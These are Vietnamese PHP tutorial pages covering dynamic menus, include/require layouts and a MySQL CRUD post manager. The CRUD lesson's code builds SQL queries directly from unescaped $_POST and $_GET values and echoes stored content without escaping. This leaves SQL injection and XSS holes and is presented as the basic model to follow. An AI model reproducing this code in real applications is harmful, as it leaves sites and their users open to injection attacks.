Ta tạo menu bằng mảng.
<?php
$menus = [
"Trang chủ" => "index.php",
"Giới thiệu" => "about.php",
"Liên hệ" => "contact.php"
];
foreach($menus as $text => $link){
echo "<a href='$link'>$text</a> | ";
}
Muốn thêm menu mới:
$menus["Tin tức"] = "news.php";
Không cần sửa HTML.
Xác định file đang mở:
<?php
$current = basename($_SERVER['PHP_SELF']);
echo $current;
Ví dụ:
index.php
<?php
$menus = [
"Trang chủ" => "index.php",
"Giới thiệu" => "about.php",
"Liên hệ" => "contact.php"
];
$current = basename($_SERVER['PHP_SELF']);
foreach($menus as $text => $link){
if($current == $link){
echo "<strong>$text</strong> | ";
}else{
echo "<a href='$link'>$text</a> | ";
}
}
<style>
nav a{
text-decoration:none;
padding:10px;
}
.active{
color:red;
font-weight:bold;
}
</style>
PHP:
<?php
$current = basename($_SERVER['PHP_SELF']);
foreach($menus as $text => $link){
$active = ($current == $link)
? "active"
: "";
echo "<a href='$link' class='$active'>$text</a>";
}
<?php include "includes/header.php"; ?>
<?php include "includes/menu.php"; ?>
<main>
Nội dung từng trang
</main>
<?php include "includes/footer.php"; ?>
Đây chính là mô hình mà hầu hết website PHP thực tế đều sử dụng trước khi tiến lên các framework như Laravel.
Tạo:
index.php
about.php
contact.php
Dùng chung:
header.php
menu.php
footer.php
Tạo menu bằng Array:
$menus = [
"Trang chủ" => "index.php",
"Tin tức" => "news.php",
"Liên hệ" => "contact.php"
];
Hiển thị bằng foreach.
Tô sáng menu đang được mở bằng:
$_SERVER['PHP_SELF']
Sau bài này bạn đã biết:
✅ Tách giao diện thành nhiều file
✅ Dùng include xây dựng layout
✅ Tạo menu động bằng Array
✅ Highlight menu hiện tại
✅ Xây dựng cấu trúc website chuyên nghiệp hơn
➡️ Bài tiếp theo: Bài 30 — Password Hash (Mã hóa mật khẩu an toàn bằng password_hash và password_verify)
x1
Cập nhật: 2026-06-30T12:04:00.038+07:00
Tái sử dụng code — Xây dựng website chuyên nghiệp
Sau khi hoàn thành CRUD ở bài 27, chúng ta đã có một website PHP cơ bản.
Nhưng có một vấn đề:
❌ Mỗi trang phải viết lại:
Kết nối database
Menu
Header
Footer
Code dùng chung
Ví dụ:
$conn = mysqli_connect(
"localhost",
"root",
"",
"php_basic"
);
Nếu có 50 trang web?
😱 Phải copy 50 lần!
PHP giải quyết vấn đề này bằng:
📦 include
📦 require
include dùng để nhúng một file PHP khác vào file hiện tại.
Cú pháp:
include "tenfile.php";
Ví dụ:
File:
config.php
<?php
$name = "PHP 8.2";
?>
File:
index.php
<?php
include "config.php";
echo $name;
?>
Kết quả:
PHP 8.2
require cũng giống include.
Nhưng khác nhau ở cách xử lý lỗi.
Ví dụ:
require "config.php";
Nếu file tồn tại:
✅ Chạy bình thường
Nếu file bị mất:
require
⛔ Dừng toàn bộ chương trình
| 🔢 | Lệnh | Khi lỗi | Sử dụng |
|---|---|---|---|
| 1️⃣ | include | Cảnh báo nhưng chạy tiếp | File không quá quan trọng |
| 2️⃣ | require | Dừng chương trình | File bắt buộc |
Ví dụ:
Database:
require "config.php";
Vì không có database:
Website không thể chạy.
Vấn đề:
Có thể gọi file nhiều lần.
Ví dụ:
include "config.php";
include "config.php";
Có thể gây lỗi:
Cannot redeclare
Giải pháp:
include_once "config.php";
hoặc:
require_once "config.php";
PHP chỉ load 1 lần.
Website thường chia:
website/
│
├── config.php
│
├── includes/
│
├── header.php
├── menu.php
├── footer.php
│
├── index.php
├── about.php
File:
includes/header.php
<!DOCTYPE html>
<html>
<head>
<title>
Website PHP
</title>
</head>
<body>
<h1>
My Website
</h1>
File:
includes/menu.php
<nav>
<a href="index.php">
Trang chủ
</a>
<a href="about.php">
Giới thiệu
</a>
<a href="contact.php">
Liên hệ
</a>
</nav>
File:
includes/footer.php
<footer>
<p>
Copyright 2026
</p>
</footer>
</body>
</html>
File:
index.php
<?php
include "includes/header.php";
include "includes/menu.php";
?>
<h2>
Trang chủ
</h2>
<p>
Nội dung website
</p>
<?php
include "includes/footer.php";
?>
Kết quả:
----------------
My Website
Trang chủ | Giới thiệu | Liên hệ
Trang chủ
Nội dung website
Copyright 2026
----------------
Trước đây:
Mỗi file:
index.php
create.php
edit.php
delete.php
đều:
include "config.php";
Bây giờ có thể:
includes/
├── database.php
├── header.php
├── footer.php
Sạch hơn.
Dễ bảo trì hơn.
Dùng cho:
✅ Header
✅ Footer
✅ Menu
✅ File giao diện
Dùng cho:
✅ Database
✅ File cấu hình
✅ Class quan trọng
Dùng khi:
✅ Không muốn load trùng file
Tạo website:
my-blog/
│
├── config.php
├── index.php
│
└── includes/
header.php
menu.php
footer.php
Yêu cầu:
✅ Header dùng chung
✅ Menu dùng chung
✅ Footer dùng chung
✅ Kết nối database bằng require_once
✅ Tái sử dụng code PHP
✅ Tổ chức source code
✅ Xây dựng layout website
✅ Chuẩn bị bước vào PHP chuyên nghiệp
➡️ Bài tiếp theo:
🐘 Bài 29 — Làm menu/header/footer động
Biến website PHP thành hệ thống layout thật.
x1
Cập nhật: 2026-06-29T19:44:20.430+07:00
Xây dựng hệ thống quản lý bài viết đơn giản
Sau khi đã học:
✅ Kết nối MySQL bằng PHP
✅ INSERT dữ liệu
✅ SELECT dữ liệu
✅ UPDATE dữ liệu
✅ DELETE dữ liệu
Bây giờ chúng ta sẽ ghép tất cả lại thành một hệ thống CRUD hoàn chỉnh.
CRUD là 4 thao tác quan trọng nhất khi làm website:
📝 C — Create → Thêm dữ liệu
👀 R — Read → Xem dữ liệu
✏️ U — Update → Sửa dữ liệu
🗑️ D — Delete → Xóa dữ liệu
CRUD xuất hiện trong hầu hết website:
🌐 Blog
🛒 Website bán hàng
👥 Quản lý thành viên
📚 Quản lý khóa học
📰 Quản lý bài viết
Ví dụ:
Bảng posts
| ID | Title | Content |
|---|---|---|
| 1️⃣ | Học PHP | PHP cơ bản 8.2 |
| 2️⃣ | Học MySQL | Database căn bản |
Chúng ta sẽ tạo:
index.php
→ Hiển thị danh sách bài viết
create.php
→ Thêm bài viết
edit.php
→ Sửa bài viết
delete.php
→ Xóa bài viết
Mở phpMyAdmin:
Tạo database:
CREATE DATABASE php_basic;
Chọn database:
USE php_basic;
Tạo bảng:
CREATE TABLE posts (
id INT AUTO_INCREMENT PRIMARY KEY,
title VARCHAR(255),
content TEXT
);
INSERT INTO posts (title, content)
VALUES
('Học PHP', 'PHP cơ bản 8.2'),
('Học MySQL', 'Database căn bản');
Tạo file:
config.php
Code:
<?php
$conn = mysqli_connect(
"localhost",
"root",
"",
"php_basic"
);
if(!$conn){
die("Lỗi kết nối database");
}
?>
Bây giờ tất cả file PHP sẽ dùng lại kết nối này.
File:
index.php
<?php
include "config.php";
$sql = "SELECT * FROM posts";
$result = mysqli_query($conn,$sql);
?>
<h1>
Danh sách bài viết
</h1>
<a href="create.php">
Thêm bài viết
</a>
<?php while($row=mysqli_fetch_assoc($result)){ ?>
<h3>
<?php echo $row['title']; ?>
</h3>
<p>
<?php echo $row['content']; ?>
</p>
<a href="edit.php?id=<?php echo $row['id']; ?>">
Sửa
</a>
<a href="delete.php?id=<?php echo $row['id']; ?>">
Xóa
</a>
<hr>
<?php } ?>
Kết quả:
Danh sách bài viết
Học PHP
Sửa | Xóa
Học MySQL
Sửa | Xóa
File:
create.php
<?php
include "config.php";
if(isset($_POST['submit'])){
$title = $_POST['title'];
$content = $_POST['content'];
$sql = "
INSERT INTO posts(title,content)
VALUES('$title','$content')
";
mysqli_query($conn,$sql);
header("location:index.php");
}
?>
<form method="post">
<input
type="text"
name="title"
placeholder="Tiêu đề">
<br>
<textarea
name="content"
placeholder="Nội dung">
</textarea>
<br>
<button name="submit">
Lưu
</button>
</form>
File:
edit.php
Lấy ID:
<?php
include "config.php";
$id=$_GET['id'];
Lấy dữ liệu cũ:
$sql="
SELECT *
FROM posts
WHERE id=$id
";
$result=mysqli_query($conn,$sql);
$row=mysqli_fetch_assoc($result);
?>
Form sửa:
<form method="post">
<input
name="title"
value="<?php echo $row['title']; ?>"
>
<textarea name="content">
<?php echo $row['content']; ?>
</textarea>
<button name="update">
Cập nhật
</button>
</form>
Xử lý:
<?php
if(isset($_POST['update'])){
$title=$_POST['title'];
$content=$_POST['content'];
$sql="
UPDATE posts
SET
title='$title',
content='$content'
WHERE id=$id
";
mysqli_query($conn,$sql);
header("location:index.php");
}
?>File:
delete.php
Code:
<?php
include "config.php";
$id=$_GET['id'];
$sql="
DELETE FROM posts
WHERE id=$id
";
mysqli_query($conn,$sql);
header("location:index.php");
?>
php-crud/
│
├── config.php
├── index.php
├── create.php
├── edit.php
├── delete.php
Đây chính là mô hình CRUD cơ bản.
✅ Biết tạo database
✅ Biết tạo bảng MySQL
✅ Kết nối PHP + MySQL
✅ Hiển thị dữ liệu
✅ Thêm dữ liệu
✅ Sửa dữ liệu
✅ Xóa dữ liệu
🎯 Đây là nền tảng để học tiếp:
➡️ Login / Register
➡️ Admin Dashboard
➡️ Upload hình ảnh
➡️ OOP PHP
➡️ MVC
➡️ Laravel
Tạo hệ thống quản lý:
📚 Sách
Gồm:
id
name
author
price
Chức năng:
✅ Thêm sách
✅ Xem danh sách
✅ Sửa sách
✅ Xóa sách
x1
Cập nhật: 2026-06-29T16:05:13.394+07:00